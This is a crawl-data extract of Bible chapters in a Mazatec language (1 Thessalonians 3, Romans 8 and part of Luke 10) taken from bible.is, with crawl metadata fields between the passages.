ko̱tsi'kìn‑laji̱n, nga tjínè‑la̱ nga ko̱tjín kjo̱hi'in ko̱tojieén; ko̱ i̱nchi'ya‑nájiòn 'ndi̱‑ni̱ nga ijyeé ko̱'sín tíma. 5'Koa̱á ma‑ni, 'kia̱ nga jè inìma̱‑na̱ mì kì ti̱ ichìkjoa̱-isa‑la̱, chaán ísikásén jè Timoteo mé‑ni nga sko̱nangiya‑ni kó'sín titsa̱jna jiòn a̱'ta 'tse̱ kjoa̱ ra makjiín‑no; ta nga̱tjì‑la̱ 'ñó kjókájno‑na ra a̱'ta tsa̱jiòn, tsa ti̱kjiá jè xi̱ta̱‑ni̱í sko̱ó'ta‑no nga ya̱ ska̱jiòn ra kjoa̱ 'tse̱ jé, ko̱ jè xá ra ki'nià‑ji̱n ra a̱'ta tsa̱jiòn, ta kjo̱tjò ya̱ jchi̱ja. 6'Ndi̱ 'ndi̱ 'kia̱ nga ijye tsáfa‑ni jè Timoteo nga ikatsíjen‑najiòn; ijyeé 'jiìkó‑naji̱n 'én ra nda tsò ra a̱'ta tsa̱jiòn, a̱'ta 'tse̱ kjoa̱ ra makjiín‑najiòn ko̱ a̱'ta 'tse̱ kjo̱tsjacha ra tjín‑najiòn. Ko̱ 'koa̱á 'sín kitsò‑te‑naji̱n nga 'ñó nda bítsjen‑najiòn ra a̱'ta tsa̱ji̱n, nga 'ñó mejèn‑te‑najiòn nga jcha̱‑náji̱n koni 'sín nga ti̱'koa̱á 'ñó mejèn‑naji̱n nga ska̱jieén. 7'Koa̱á ma‑ni jiòn ndí 'ndsé ko̱ ndí tichjeé, nga ni̱'sín takó tse kjoa̱ i̱nchibatojin‑ji̱n ko̱ tse kjo̱hi'in i̱nchinikjiín‑ji̱n, tanga 'kia̱ nga ina'yá‑ji̱n nga kixi̱í titsa̱jna jiòn koni 'sín nga makjiín‑no a̱'ta 'tse̱ Cristo, 'ñó kjó'ñó‑ni takòn‑ji̱n. 8'Kia̱ nga na'yá‑ji̱n nga kixi̱í titsa̱jna a̱'ta 'tse̱ Na̱'ín‑ná, ijyeé 'nchán kjón ki'se‑la̱ inìma̱‑na̱ji̱n. 9¿Kó'sín ko̱ma 'kín‑la̱ji̱n Nainá nga tse kjo̱nda kata'se‑la̱ ra jè, nga̱ ta̱ tse kjo̱tsja tísakó‑naji̱n ra a̱'ta tsa̱jiòn? 10Ko̱ ni̱chjin ko̱ ni̱tje̱én i̱nchinakjoá'ta‑la̱ji̱n Nainá mé‑ni nga katatsjá'nde‑ni nga ma ko̱hítsíjen‑laji̱n nga 'kéna̱jmíya-isa‑laji̱n kjoa̱ ra chija'ta-isa‑no nga jcha̱a koni 'sín nga ijye makjiín‑no. 11Tsa jè sabà Nainá ra Na̱'ìn 'mì‑lá ko̱ jè Jesucristo ra tíjna ítjòn‑ná, katabasìko̱‑naji̱n nga ma ko̱ngítsíjen‑laji̱n skanda ñánda̱ nga titsa̱jna jiòn. 12Jè Na̱'ín‑ná nda katasíkjaha'sen‑jin‑isa kjo̱tsjacha ya̱ a̱jin inìma̱‑no mé‑ni nga tsjacha 'sia̱n‑no jiòn xàngio̱o nga jngó jngó‑no ko̱ nga'tsì xi̱ta̱ ra kj'ií, koni 'sín nga tsjacha‑laji̱n. 13Ko̱'sín 'ñó katatsjá‑la̱ nga'ñó inìma̱‑no, mé‑ni nga tsje ti̱tsa̱jna‑no ko̱ ni̱mé jé katasakó ra a̱'ta tsa̱jiòn ya̱ ngixko̱n Nainá ra Na̱'ìn 'mì‑lá jè ni̱chjin 'kia̱ nga kj'i̱í india‑ni jè Jesús ra tíjna ítjòn‑ná nga kjihijtako̱ nga'tsì ra a̱'ta 'tse̱ chja̱‑ni.\n1 Tesalonicenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Thess\/3","date":"2013-12-06T16:16:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052107\/warc\/CC-MAIN-20131204131732-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000064373016357}","num_words":398,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ta̱nga i̱'ndei̱, jñà xi̱ta̱ xi ya̱ títsa̱jnakjoòko̱ Cristo, mì ti̱ mé kjo̱'in si̱nè‑la̱, jñà xi̱ta̱ xi mì k'oa̱á s'ín nchisíjchá yijo‑la̱ koni tjín jé xi síjé yijo‑la̱; tà sa̱á k'oa̱á s'ín nchisíjchá yijo‑la̱ koni s'ín mejèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 2Jè nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá xi síkítsa̱jnakon‑ná nga ya̱ titsa̱jnakjoòkoa̱á Cristo; ko̱ ti̱jè‑ne nga'ñó xi kisìkítsa̱jnandei̱í‑ná i̱t'aà ts'e̱ nga'ñó‑la̱ kjoa̱ ts'e̱ jé ko̱ i̱t'aà ts'e̱ kjoa̱biyaà. 3Kjo̱tíxoma ts'e̱ Moisés mìkiì kichìkjoa̱‑la̱ nga síkítsa̱jnandei̱í‑ná i̱t'aà ts'e̱ jé, nga tsjìn‑la̱ nga'ñó, koi kjoa̱‑la̱ nga jè yijo‑ná síjé jé xi tjín i̱sò'nde. Ta̱nga Nainá kichìkjoa̱á‑là nga kisìkasén Ki'ndí‑la̱ koni jngoò xi xi̱ta̱ i̱sò'nde xi yijo kis'e‑la̱ koni jñá xi xi̱ta̱ jé 'mì‑ná. Ki'ndí‑la̱ kitsjaà kjo̱tjò yijo‑la̱ nga k'en xi kjoa̱ ts'e̱ jé‑ná. Nainá k'oa̱á s'ín kis'iìn nga jngoò k'a kisìkjehet'aà kjoa̱ ts'e̱ jé xi tjín‑la̱ yijo‑ná. 4Nainá k'oa̱á s'ín kis'iìn mé‑ne nga i̱t'aà tsa̱ján kàtitasòn‑ne jè kjoa̱ kixi̱ xi ts'e̱ kjo̱tíxoma, jñá xi mì k'oa̱á s'ín titsa̱nìjchá yijo‑ná koni tjín jé xi síjé yijo‑ná, nga k'oa̱s'ín titsa̱nìjchá yijo‑ná koni s'ín mejèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 5Jñà xi̱ta̱ xi k'oa̱ s'ín koni tjín xi síjé yijo‑la̱, k'oa̱á tjín kjoa̱ xi nchisíkítsjeèn; ta̱nga jñà xi k'oa̱ s'ín koni s'ín tjín xi síjé Ini̱ma̱ Tsjeè‑la̱ Nainá, k'oa̱á tjín kjoa̱ xi nchisíkítsjeèn. 6Jñà xi̱ta̱ xi k'oa̱s'ín nchisíkítsjeèn koni tjín xi mejèn‑la̱ yijo‑la̱, kjoa̱biyaà tjín‑la̱. Ta̱nga jñà xi̱ta̱ xi k'oa̱s'ín nchisíkítsjeèn koni s'ín mejèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, tjín‑la̱ kjoa̱binachon ko̱ kjoa̱'nchán. 7Xi̱ta̱ xi tà koi kjoa̱ nchisíkítsjeèn koni tjín kjoa̱ ch'o xi síjé yijo‑la̱, kondra̱ ts'e̱ Nainá‑né koií kjoa̱‑la̱ nga mìkiì síkitasòn ko̱ mìkiì chíkjoa̱‑la̱ nga síkitasòn kjo̱tíxoma‑la̱ Nainá. 8Jñà xi̱ta̱ xi k'oa̱s'ín s'ín koni tjín xi síjé yijo‑la̱, mìkiì ma‑la̱ s'ín koni s'ín sasén‑la̱ Nainá. 9Ta̱nga jñò, mì ti̱ k'oa̱á 'nè‑nò koni tjín xi síjé yijo‑nò; k'oa̱á s'ín titsa̱'nè koni tjín xi síjé Ini̱ma̱ Tsjeè‑la̱ Nainá, nga jè tíjnajiìn ini̱ma̱ tsa̱jòn Ini̱ma̱ Tsjeè‑la̱ Nainá. Jñà xi̱ta̱ xi tsjìn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá xi kitsjaà Cristo, mìtsà xi̱ta̱ ts'e̱ Cristo. 10Ta̱nga tsà ya̱á tíjnajiìn ini̱ma̱ tsa̱jòn Cristo, ini̱ma̱ tsa̱jòn tíjnakon‑né nga xi̱ta̱ kixi̱ 'mì‑nò nga nguixko̱n Nainá, na̱s'ín k'oa̱s'ín tjínè‑la̱ nga ki̱yá yijo‑nò xi kjoa̱ ts'e̱ jé. 11Jè Nainá xi kisìkjaáya‑la̱ Jesucristo i̱t'aà ts'e̱ kjoa̱biyaà, tsà ya̱ tíjnajiìn ini̱ma̱‑nò jè Ini̱ma̱ Tsjeè‑la̱, k'oa̱á ti̱s'ín si̱ìkítsa̱jnakon ìjngoò k'a yijo‑nò xi kjoa̱ ts'e̱ kjoa̱biyaà i̱t'aà ts'e̱ nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá xi tíjnajiìn ini̱ma̱ tsa̱jòn. 12K'oa̱á ma‑ne, jñá xi 'ndseé chibá, tíjna jngoò xi tjínè‑ná nga si̱kitasòn‑lá, ta̱nga mìtsà jè yijo‑ná si̱kitasòn‑lá; mì ti̱ kiì k'oa̱s'ín s'e̱n‑ná koni tjín kjoa̱ ch'o xi síjé yijo‑ná. 13Tsà tákó k'oa̱á s'ín s'e̱en nga ya̱ onguít'aà‑là kjoa̱ xi ch'o mejèn‑la̱ yijo‑nò, ki̱yá‑nò. Ta̱nga tsà koi̱'nde‑là Ini̱ma̱ Tsjeè‑la̱ Nainá nga jngoò k'a si̱ìkijne‑la̱ kjoa̱ xi ch'o mejèn‑la̱ yijo‑nò, ki̱tsa̱jnakon‑nò. 14Jñà xi̱ta̱ xi jè Ini̱ma̱ Tsjeè‑la̱ Nainá okó‑la̱ ndi̱yá, jñà‑né xi i̱xti‑la̱ Nainá 'mì. 15Jè Ini̱ma̱ Tsjeè xi kitsjaà‑nò Nainá mìtsà ta̱xki̱ ini̱ma̱ i̱ma̱ xi kjo̱'ñó s'ín‑nò koni jngoò chi̱'nda xi ts'e̱ jé nga ma‑la̱ bíxkón‑nò; ta̱ sa̱á jè Ini̱ma̱ xi kitsjaà‑ná Nainá skoétjò‑ná nga i̱xti‑la̱ ko̱maá, ti̱jè‑ne Ini̱ma̱ Tsjeè‑la̱ Nainá béno̱jmíya‑ná nga ma nokjoà‑lá Nainá nga Ndí A̱pa 'mì‑lá. 16Jè Ini̱ma̱ Tsjeè‑la̱ Nainá tsjá kixi̱‑la̱ 'én ini̱ma̱ tsa̱ján nga i̱xti‑la̱ Nainá 'mì‑ná. 17K'e̱ nga jye i̱xti‑la̱ maá, ti̱koa̱á tsa̱ján‑ná kjo̱tjò‑la̱ Nainá xi jye k'oa̱s'ín kitsjaà tso'ba nga tsjá‑ná; ta̱ñaá tjoékjoò‑ná ko̱ Cristo nga ti̱koa̱ ko̱ jè titsa̱nìkjiaán kjo̱'in mé‑ne nga jeya ki̱tsa̱jnako̱‑ná Cristo. 18'A̱n, k'oa̱á xan nga kixi̱ kjoa̱, koni tjín kjo̱'in xi titsa̱nìkjiaán i̱'ndei̱ mìkiì mangásòn koni tjín kjoa̱jeya‑la̱ Nainá xi s'e̱‑ná k'e̱ nga ko̱ma i̱skan. 19Jñà tsojmì xi Nainá tsibíndaà, 'ñó nchikoña kjoa̱ nga mejèn‑la̱ skoe̱ na̱chrjein k'e̱ nga Nainá jngoò k'a ndaà ko̱kò kó kjoàn xi i̱xti‑la̱ ma. 20Jñà tsojmì xi tsibíndaà Nainá, jngoò k'a its'oòn‑jiìn koni s'ín tjínè‑la̱ nga ko̱chjeén nga sa̱ ítjòn; mìtsà kjo̱tsja ts'e̱ i̱sò'nde nga k'oa̱s'ín komàt'in; koi‑né nga jè Nainá k'oa̱á s'ín kiskoòsòn‑la̱; ta̱nga i̱'ndei̱ jñà xi tsibíndaà Nainá nchikoñaá‑la̱ 21nga kjoi̱í na̱chrjein k'e̱ nga ti̱koa̱ kítsa̱jnandei̱í xi tsibíndaà Nainá nga mì ti̱ kiì ki̱ts'ón‑jiìn‑ne; Nainá jeya si̱ìkítsa̱jnandei̱í ìjngoò k'a‑ne koni s'ín si̱ìko̱ i̱xti‑la̱. 22'Ya‑ná ngats'iì xi Nainá tsibíndaà, skanda i̱'ndei̱, nchitsiné‑né, kjo̱'in nchisíkjeiín koni jngoò chjo̱ón xi ki'ndí tí'beé. 23Mìtsà tà koi xi tjín i̱sò'nde xi tsiné; ti̱koa̱á jñá xi jye tjín‑ná Ini̱ma̱ Tsjeè‑la̱ Nainá koni jngoò kjo̱ndaà xi tje̱n kitjoé ítjòn‑ná, ti̱koa̱á tsiné‑ná nga kjo̱'in titsa̱nìkjiaán nga titsa̱chiñá‑lá nga 'ñó mejèn‑ná nga skoétjò‑ná Nainá nga jngoò k'a ya̱ ki̱tsa̱jnakoa̱á koni i̱xti‑la̱ maá; yijo‑ná kíjnandei̱í‑ne i̱t'aà ts'e̱ kjoa̱ xi síkits'ón‑ná. 24Nga jye titsa̱jnandia̱á, i̱'ndei̱ jè titsa̱chiñá‑lá nga jngoò k'a kàtitasòn. Ta̱nga tsà tsejèn tíjna xi chiñá‑lá mìkiì ma chiñá‑lá. ¿Yá xi koña‑la̱ xi tsejèn tíjna? 25Ta̱nga tsà jè chíña‑lá xi mìkiì tsejèn tíjna, ta̱fì ta̱fì chíñakjoa̱‑lá. 26K'oa̱á ti̱s'ín s'ín jè Ini̱ma̱ Tsjeè‑la̱ Nainá k'e̱ nga indaàjiìn tjín ini̱ma̱‑ná síchját'aà‑ná. K'e̱ nga mìkiì ma‑ná kó s'ín si̱jét'aà‑lá Nainá k'e̱ nga bìtsi'ba‑lá, ti̱jè‑ne Ini̱ma̱ Tsjeè‑la̱ Nainá bítsi'batjì‑ná, ni̱mé 'én xi tsejèn chja̱, ni̱ i̱tsé fìya‑ná kó tsòya‑ne. 27Jè Nainá xi ma‑la̱ bíxke̱jiìn ini̱ma̱‑ná, tíjiìn‑la̱ mé xi tíbítsjeèn‑la̱ jè Ini̱ma̱ Tsjeè‑la̱. K'e̱ nga bítsi'batjì xi̱ta̱ tsjeè‑la̱ Nainá k'oa̱á s'ín síjét'aà‑la̱ koni s'ín mejèn‑la̱ Nainá. 28Tíjiìn‑ná nga i̱t'aà ts'e̱ jñà xi̱ta̱ xi tjòkeè beè Nainá, ngats'iì kjoa̱ xi mat'in, Nainá k'oa̱á s'ín síkjeén xi kjo̱ndaà ts'e̱ xi̱ta̱. K'oa̱á s'ín síko̱ jñà xi̱ta̱ xi xó jè kiìchja̱‑la̱ koni s'ín mejèn‑la̱, 29jñà xi̱ta̱ xi jye tíjiìn‑la̱ nga ti̱sa̱ tàts'en‑la̱ kjoa̱ nga i̱xti‑la̱ ko̱ma; ti̱koa̱á k'oa̱á s'ín kiskoòsòn‑la̱ nga ngásòn kjoàn ko̱ma koni kji Ki'ndí‑la̱ mé‑ne nga jè Cristo Ki'ndítjòn ko̱ma koa̱ kjìn ko̱ma xi̱ta̱ xíkjín xi 'ndse̱. 30Nainá nga k'oa̱s'ín kiskoòsòn‑la̱ i̱t'aà ts'e̱ xi̱ta̱ koi, ti̱koa̱á xó kiìchja̱‑la̱, jñà xi xó kiìchja̱‑la̱ ti̱koa̱á kixi̱í kisìkítsa̱jna, jñà xi kixi̱ kisìkítsa̱jna ti̱koa̱á jeya kisìkítsa̱jna. 31¿Mé xi kixoán i̱t'aà ts'e̱ kjoa̱ koi? Nga Nainá tíjnako̱‑ná, ni̱jngoò xi̱ta̱ kondra̱‑ná si̱ìkijne‑ná. 32Nainá mìkiì 'on komà‑la̱, nga kitsjaà kjo̱tjò Ki'ndí‑la̱ i̱t'aà tsa̱ján ngats'iaá skanda kjoa̱biyaà. ¿A mìtsà ti̱koa̱ tsjá kjo̱tjò‑ná ngayije nga ko̱ Cristo? 33¿Yá xi ko̱ma ko̱hòngui‑ná jñá xi Nainá xó jaàjiìn‑ná? Mì yá xi ko̱ma ko̱hòngui‑ná nga jé Nainá jye kixi̱ kisìkítsa̱jna‑ná. 34¿Yá xi koi̱ì'nè‑ná kjo̱'in? Nga jé Cristo Jesús k'en ngajo‑ná, ti̱koa̱ jaáya‑la̱ kjoa̱ ts'e̱ kjoa̱biyaà. Ya̱á tíjna i̱t'aà kixi̱‑la̱ Nainá nga tíbítsi'batjì‑ná. 35¿Yá xi ko̱chrjet'aàxìn‑ná kjoa̱tjòcha‑la̱ Cristo? ¿A kjo̱'in‑né? ¿O xi kjoa̱ba‑ne? ¿O xi jè‑né nga ongatji̱ngui‑ná xi̱ta̱? ¿O xi kjoa̱ ts'e̱ kjinchrá‑ne? ¿O xi koií‑né nga tsjìn‑ná nikje xi chíkjá? ¿O xi jè kjoa̱ xi xkón tjín? ¿O xi jè kjoa̱ biyaà nga xi̱ta̱ sík'en‑ná? Majìn, ni̱mé kjoa̱‑ne. 36K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Xi kjoa̱ tsi̱ji kjit'aà na̱chrjein tjín kjo̱xkón nga ki̱yá‑je̱n, k'oa̱á s'ín tíyatakòn‑na̱je̱n koni orrè xi tíjnandaà nga ki̱yá. 37Ta̱nga i̱t'aà ts'e̱ ngats'iì kjoa̱ koi, jye tsato titsa̱nìkijne‑lá xi i̱t'aà ts'e̱ Cristo xi kjòtsjakeè‑ná. 38K'oa̱á s'ín tíjngoò takoán nga ni̱jngoò kjoa̱ xi ko̱ma ko̱chrjet'aàxìn‑ná xi kjoa̱tjòcha‑la̱ Nainá, ni̱ jè kjoa̱ biyaà, ni̱ kjoa̱binachon, ni̱ àkja̱le̱, ni̱ jñá nga'ñó xi tjín i̱sò'nde ni̱ jñà xi tjín i̱jiìn i̱sén, ni̱ jñà kjoa̱ xi tjín na̱chrjein i̱'ndei̱, ni̱ jñà kjoa̱ xi ko̱ma na̱chrjein xi sa̱ nchrobá, 39ni̱ jè xi ìsa̱ 'nga, ni̱ jè xi ìsa̱ na̱nga̱, ni̱ta̱ mé tsojmì xi Nainá tsibíndaà, ni̱mé xi ko̱ma ko̱chrjet'aàxìn‑ná kjoa̱tjòcha‑la̱ Nainá xi jye tjín‑ná i̱t'aà ts'e̱ Cristo Jesús xi Na̱'èn‑ná.\nRomanos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/8","date":"2013-12-05T21:30:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047675\/warc\/CC-MAIN-20131204131727-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000066757202148}","num_words":1162,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ ijye kjomà kjoa̱ kìi̱, ngi jàn‑kan ko̱ te xi̱ta̱ ra kj'ií kitsjà‑la̱ xá Na̱'ín‑ná Jesús. Jò jò isìkasén ítjòn, nga tíjngo na̱xi̱ndá ko̱ i̱'nde ñánda̱ nga̱ isa̱ a̱skan tjínè‑la̱ nga ki̱ji̱ ra jè. 2Kitsò‑la̱: ―Kjo̱hixi̱‑ní, 'ñó tse xá tjín ra a̱'ta 'tse̱ 'Én‑la̱ Nainá koni 'sín ma 'kia̱ nga kjìn tsajmì majchá; tanga jñà chi̱'nda ra síxá, chibaá ma‑ni. Kií machjeén‑ní nga ti̱jé‑la jè Ni‑la̱ xá, mé‑ni nga katasíkasén-isa‑ni chi̱'nda. 3Tangió; katasijin‑no, 'a̱n, 'koa̱á 'sín sikásén‑no koni tsa forrè‑xó ya̱ a̱jin‑la̱ tsi̱jén. 4Kì chrja̱ba̱ to̱n ko̱ kì na̱'yaá jcha̱a, kì xa̱jté tsjaya; kì yá ra níkjáya‑la ya̱ a̱ya ndi̱yáa̱. 5Ta mé ni'ya ra ki̱tjáha̱'se̱en, ítjòn 'tin‑la: \"'Nchán kata'se ya̱ ni'ya ra̱kìi̱.\" 6Ni'ya ra̱kìi̱, tsa tjín xi̱ta̱ ra bakèn‑la̱ nga 'se̱‑la̱ kjo̱'nchán, ki̱tjasòn‑ní; tsa majìn, mì kì ki̱tjasòn. 7Ti̱tsa̱jna ya̱ ni'ya ñánda̱ kijcho; kì jndíi̱ ra ján ni'ya mangió; chji̱ne̱e, 'tio̱o ta mé tsajmì ra tsjá‑no. Nga̱ jè xi̱ta̱ ra síxá, 'koa̱á 'sín bakèn‑la̱ nga ya̱ 'ki̱‑la̱ chjí‑la̱ ya̱ ñánda̱ nga síxá. 8''Kia̱ ki̱jchò jngo na̱xi̱ndá ya̱ ñánda̱ nga tsjá'nde‑no, chji̱ne̱e mé tsajmì ra tsjá‑no. 9Tsa tjín xi̱ta̱ ra kiya, ti̱nda‑no; ko̱'tìn‑la: \"Ijyeé chraña tíjna ra a̱'ta tsa̱jiòn nga jcha̱a kó'sín batéxoma Nainá.\" 10'Tsa jngo na̱xi̱ndá kijcho nga mì kì tsjá'nde‑no, tangí kixio̱ò, ko̱'tìn‑la: 11\"Skanda jè chijo‑la̱ na̱xi̱ndá‑no ra 'ya ndsa̱kò‑ji̱n, kítsajne‑náji̱n mé‑ni nga jcha̱‑no nga mì tsa ti̱ jiòn si̱sin‑laji̱n. Tanga nda katasijin‑no nga ijye kjochraña ni̱chjin nga jcha̱a kó'sín batéxoma Nainá.\" 12'Koa̱á xín‑no, 'kia̱ nga kje̱he'tà ni̱chjin, jñà xi̱ta̱ na̱xi̱ndá ra̱kìi̱, isa̱á tse kjo̱hi'in 'ki̱‑la̱ koni jñà xi̱ta̱ 'tse̱ na̱xi̱ndá Sodoma. 13'¡I̱ma̱‑ró‑no ra xi̱ta̱ na̱xi̱ndá Corazín! ¡I̱ma̱‑ró‑no ra xi̱ta̱ na̱xi̱ndá Betsaida! Tsa ya̱á‑la na̱xi̱ndá Tiro ko̱ na̱xi̱ndá Sidón nga ko̱tjín kjo̱xkón ra kjomà, koni 'sín tjín ra tí'ya‑la̱ ya̱ a̱jin tsa̱jiòn, ijyeé‑la kjotseé kitsjin jé‑la̱ ko̱ ijyeé‑la nikje naxá‑skee̱ tsakjaya ko̱ chijo ni'í tsikíxten‑jnó ijo‑la̱, nga bakón nga ijyeé isíkájno‑ni jé‑la̱ ko̱ mì ti̱ jé i̱nchibátsji‑ni. 14Tanga, 'kia̱ nga ki̱jchò jè ni̱chjin nga 'ki̱‑la̱ kjo̱hi'in jñà xi̱ta̱, isa̱á tse kjo̱hi'in 'ki̱‑no ra jiòn, nda mí 'koa̱‑ni koni jñà xi̱ta̱ na̱xi̱ndá 'tse̱ Tiro ko̱ 'tse̱ Sidón. 15Ko̱ jiòn, ra ya̱ i̱'nde‑no ya̱ na̱xi̱ndá Capernaum, ¿a 'koa̱á 'sín níkítsjen jiòn nga ya̱á tjámitje̱en skanda ya̱ a̱'ta ngajmi ján? Majìn, tà isa̱á ya̱á 'ñó na̱nga̱ kjohíje̱n‑jin‑isa jiòn skanda ya̱ ñánda̱ tíjna i̱'nde‑la̱ kjo̱hi'in. 16'Jè xi̱ta̱ ra 'nchré‑no, 'a̱án ra 'nchré‑na; jè ra bachrje‑ngi‑no, 'a̱án ra bachrjengi‑na; jè ra bachrjengi‑na, jè bachrjengi jè ra isìkasén‑na. 17'Jií‑ni jñà xi̱ta̱ ra jàn‑kan ko̱ te ma‑ni. 'Ñó tsja tjín‑la̱, kitsò: ―Na̱'ìn, skanda síhitjasòn‑naji̱n jñà inìma̱ 'cho‑la̱ ni̱í ra a̱'ta tsa̱ji. 18Jesús kitsó‑la̱: ―Kixi̱í kjoa̱, kijtse‑ná jè xi̱ta̱‑ni̱í nga koni 'ki ni'í 'cho̱ón 'ki nga inchrabàjen‑ni ngajmi. 19Ijyeé kítsjaá‑no kjo̱téxoma ko̱ nga'ñó nga ko̱ma ki̱si̱nè ye̱ ko̱ cho̱ na'yá, ko̱ nga si̱kijne‑la nga'tsì nga'ñó‑la̱ ni̱í ra kondra̱ tsa̱jiòn; ni̱mé ra si̱ìko̱‑no. 20Tanga kì jè matsja‑no nga jè inìma̱ 'cho‑la̱ ni̱í síhitjasòn‑no; jè ra katatsja‑najiòn nga ijyeé ya̱ tjí'ta 'í‑no ya̱ ján ngajmi. 21Ti̱jé‑ni hora, 'ñó tsja ki'se‑la̱ Jesús ra a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá; kitsò: ―Na̱'ìn, ji̱ ra tijna ítjòn‑la̱ nga'tsì ra tjín ya̱ ján ngajmi ko̱ ra tjín i̱ a̱'ta nangi, jeya ti̱jni, nga̱ tsikí'maá‑la̱ ji̱ nga'tsì kjoa̱ kìi̱ jñà xi̱ta̱ chji̱ne̱ ko̱ ra nda ma‑la̱ xa̱jo̱n ko̱ jñá tsakon‑la̱ ji̱ jñà ra taxki̱ ndí xi̱ta̱. Ta kií‑ní nga 'koa̱á 'sín nda isasèn‑li Na̱'ìn. 22'Nga'tsì kjo̱téxoma, 'a̱án isìnga̱tsja‑na Na̱'ìn‑na̱. Ni̱yá ra bexkon yá‑ní ra I'ndí, ta̱jngoó jè Na̱'ìn‑la̱; ko̱ ni̱yá ra bexkon yá‑ní ra Na̱'ìn, ta̱jngoó jè ra I'ndí‑la̱; ko̱ ske̱xkoón‑te nga'tsì xi̱ta̱ ra jè I'ndí‑la̱ ko̱'sín mejèn‑la̱ nga ko̱kòn‑la̱. 23Jesús isíkáfa ñánda̱ tjíhijyo xi̱ta̱ ra kotá'yá'ta‑la̱, tà jñá kiìchja̱'ta‑xìn‑la̱, kitsò‑la̱: ―Mé tà nda‑la̱ jñà xi̱ta̱ ra i̱nchibe kjoa̱ ra i̱nchi'ya jiòn. 24'Koa̱á xin‑no, kjín xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, ko̱ kjín xi̱ta̱xá ítjòn mejèn‑la̱ nga kijtse jè kjoa̱ ra i̱nchi'ya jiòn, tanga mì kì kijtse; ti̱'koa̱ mején‑la̱ nga kií'nchré jè kjoa̱ ra i̱nchina'yá jiòn, tanga mì kì kií'nchré. 25Jngo xi̱ta̱ chji̱ne̱ xa̱jo̱n ra 'tse̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés kiìjkon Jesús nga mejèn‑la̱ ta sko̱ónda̱cha̱‑la̱, kitsò: ―Maestro, ¿mé kjo̱nda ra 'siaa̱n nga ma kíjnakon inìma̱‑na̱ nda ta mé ni̱chjin‑nioo̱? 26Jesús kitsó‑la̱: ―¿Mé ra tjí'ta xa̱jo̱n 'tse̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés? ¿Kó tsò 'én ra chitá'yí? 27Jè xi̱ta̱ chji̱ne̱ xa̱jo̱n kitsò: ―\"Ngi ko̱ó inìma̱‑li, ko̱ ngi ko̱ó nga'ñó‑li, ko̱ ngi ko̱ó kjo̱bítsjen‑li nga tsjacha 'ti̱ìn Na̱'ín‑ná ra Nainá 'mì‑la̱; ko̱ ko̱'sín tsjacha 'ti̱ìn xi̱ta̱ xàngi̱i koni 'sín nga tsjachi ijo‑li.\" 28Jesús kitsó‑la̱: ―Ndaá kanakjí. Tsa ko̱'sín 'si̱in, ki̱jnakon‑ní. 29Jè xi̱ta̱ chji̱ne̱ xa̱jo̱n mején‑la̱ nga nda si̱ìkíjna ijo‑la̱ 'én ra iskonangi; ìjngo 'ká iskonangi‑la̱ Jesús, kitsò: ―¿Yá‑ní ra xi̱ta̱ xàngia̱a ma? 30Jesús kitsó‑la̱: ―Jngo xi̱ta̱ tífìjen ya̱ ndi̱yá Jerusalén ra fì ya̱ Jericó. 'Kia̱ nga tífì, xi̱ta̱ chijé tsikichjà‑la̱. Tsja'án nga'tsì tsajmì‑la̱ ko̱ nikje‑la̱. 'Ñó isiki'on, ngi isì'ken‑ya‑ní. Maseén ndi̱yá tsakájnaya. 31Ti̱jé‑ni ndi̱yá, ya̱á chi̱ba̱‑la̱ tífì jngo na̱'mì. 'Kia̱ kijtse jè xi̱ta̱ ra itsi'on nga kjinaya ndi̱yáa̱, tà 'jaha'ta kixi̱í‑la̱. 32Ìjngo xi̱ta̱ tífì ra xi̱ta̱ levita [ra a̱ya i̱ngo̱ síxá] ra ya̱ chi̱ba̱‑la̱ tífì‑te; 'koa̱á ti̱ ki'sìn‑te 'kia̱ nga kijtse jè ndí xi̱ta̱ ra̱kìi̱. 33Tanga 'kia̱ nga ijchò jngo ra xi̱ta̱ Samaria [ra xi̱ta̱ kondra̱‑la̱ xi̱ta̱ judío] nga jè ndi̱yá tífì‑te, 'kia̱ nga kijtse, kjòhi̱ma̱ke‑ní. 34Kiì kasi'ta chraña‑la̱. Isìxki‑la̱; tsjahíjno sihìti̱ ko̱ xán ya̱ ñánda̱ kiti‑la̱, a̱kjòn tsakájtéjin‑la̱; tsakánasòn‑la̱ ya̱ kabàyo̱‑la̱; kiìko̱ ya̱ ni'ya ñánda̱ nga ma níkjáyeé nga isìkònda̱. 35Ra ma nchijòn, 'kia̱ nga ijye tífì‑ni jè xi̱ta̱ Samaria, tsikíchjí‑la̱ jè ni‑la̱ ni'ya; kitsjá‑la̱ to̱n koni 'ki tjín‑ni chjí‑la̱ chi̱'nda jè ra jò ni̱chjin. Kitsò‑la̱: \"Ti̱kinda̱‑ná jè xi̱ta̱ ra̱kìi̱. 